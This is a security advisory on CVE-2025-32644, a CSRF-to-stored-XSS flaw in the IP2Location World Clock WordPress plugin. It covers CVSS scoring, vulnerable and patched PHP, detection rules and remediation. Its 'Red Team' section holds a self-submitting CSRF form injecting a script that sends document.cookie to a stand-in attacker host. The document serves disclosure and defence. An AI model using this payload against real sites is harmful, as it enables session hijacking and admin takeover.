CVE-2025-32644

Executive Summary

CVE-2025-32644 is a Cross-Site Request Forgery (CSRF) vulnerability in the IP2Location World Clock WordPress plugin, versions up to and including 1.1.9. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. The CSRF vulnerability is compounded by a Stored Cross-Site Scripting (XSS) component, enabling persistent payload execution. The vulnerability is classified as a WordPress ecosystem issue, as the plugin is designed for WordPress environments. No public exploit code or patch details are currently available, but the risk is elevated due to the potential for stored XSS.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors exploiting unpatched installations.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must be tricked into clicking a link)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is considered High due to the combination of CSRF and Stored XSS, which can lead to persistent compromise of the WordPress admin interface.

Deep Dive & Mechanics

The vulnerability resides in the IP2Location World Clock plugin, which provides world clock functionality via shortcodes and widgets. The CSRF flaw allows an attacker to forge requests on behalf of an authenticated admin, bypassing standard CSRF tokens. When combined with Stored XSS, the attacker can inject malicious JavaScript into plugin settings or output, which executes when other users view the affected pages.

Root Cause: The plugin fails to implement proper CSRF nonce validation on administrative actions, and user-supplied input is not sanitized before being stored and rendered.

Attack Flow:

1. Attacker crafts a malicious link or form that triggers a CSRF request to the plugin's settings page.
2. The request modifies plugin options, injecting a JavaScript payload (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the WordPress database and executed when an admin or user views the affected page.
4. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the site.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to lack CSRF nonce checks and output sanitization. A patched version would include:

• CSRF Protection: Use of wp_nonce_field() and check_admin_referer() in admin forms.
• Output Sanitization: Use of esc_html() or wp_kses() when rendering user-supplied data.

Vulnerable Code Example (Hypothetical):

// No nonce check
if (isset($_POST['update_settings'])) {
    update_option('ip2location_world_clock_settings', $_POST['settings']);
}

Patched Code Example (Hypothetical):

if (isset($_POST['update_settings']) && wp_verify_nonce($_POST['_wpnonce'], 'ip2location_world_clock_settings')) {
    $sanitized_settings = array_map('sanitize_text_field', $_POST['settings']);
    update_option('ip2location_world_clock_settings', $sanitized_settings);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with IP2Location World Clock plugin version <= 1.1.9.
• An authenticated admin session (target must be tricked into clicking a link).

Exploitation Steps:

1. Craft a CSRF payload that modifies plugin settings to inject XSS. Example HTML form:

<form action="http://target/wp-admin/options-general.php?page=ip2location-world-clock" method="POST">
    <input type="hidden" name="ip2location_world_clock_settings[clock_title]" value="<script>fetch('http://attacker/steal?cookie='+document.cookie)</script>">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>

2. Host the form on an attacker-controlled site and send the link to the admin via email or social engineering.
3. Once the admin clicks, the CSRF request executes, storing the XSS payload.
4. The payload triggers when any user visits the affected page, exfiltrating cookies or performing actions.

Blue Team

Detection:

• Monitor for unusual POST requests to /wp-admin/options-general.php with parameters related to ip2location_world_clock_settings.
• Look for unexpected changes in plugin settings via database queries.
• Use web application firewalls (WAF) to block requests containing <script> tags in plugin settings.

Mitigation:

• Disable the plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to prevent inline script execution.
• Use WordPress security plugins that add CSRF protection.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/options-general.php with page=ip2location-world-clock and suspicious parameters.
  • Outbound connections to attacker-controlled domains from the WordPress admin interface.
• File IOCs:
  • Modified plugin files in /wp-content/plugins/ip2location-world-clock/ (check file integrity).
• Database IOCs:
  • Entries in wp_options table with option_name containing ip2location_world_clock_settings and malicious JavaScript.
• Log IOCs:
  • Unusual admin actions logged in WordPress audit logs (if available).

Detection Engineering

YARA Rule

rule CVE_2025_32644_CSRF_XSS {
    meta:
        description = "Detects IP2Location World Clock plugin files with potential CSRF/XSS vulnerabilities"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-32644"
    strings:
        $vuln_func = "update_option" nocase
        $vuln_param = "ip2location_world_clock_settings" nocase
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $vuln_func and $vuln_param and #xss_payload > 0
}

Sigma Rule

title: CVE-2025-32644 - IP2Location World Clock CSRF to Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts targeting IP2Location World Clock plugin settings
author: Valters IT
date: 2025-04-17
logsource:
    category: web
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "page=ip2location-world-clock"
        cs-uri-query|contains: "ip2location_world_clock_settings"
    condition: selection
falsepositives:
    - Legitimate admin updates
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32644 - IP2Location World Clock CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options-general.php"; http_uri; content:"page=ip2location-world-clock"; http_uri; content:"ip2location_world_clock_settings"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the IP2Location World Clock plugin until a patched version is released.
2. Vendor Contact: Reach out to IP2Location for an update or patch timeline.
3. Workaround: Implement a Web Application Firewall (WAF) rule to block requests containing ip2location_world_clock_settings with suspicious payloads.
4. Long-term: Regularly update all WordPress plugins and themes. Use security plugins that enforce CSRF tokens and sanitize input.
5. Monitoring: Enable detailed logging for admin actions and review logs for anomalies.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert